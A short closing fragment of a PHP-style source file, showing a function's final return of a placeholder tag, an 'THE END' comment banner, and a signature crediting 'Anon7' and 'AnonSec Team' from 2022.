    else return "$tag"; // So we can know what is missing
}

// +--------------------------------------------------
// | THE END
// +--------

Anon7 - 2022
AnonSec Team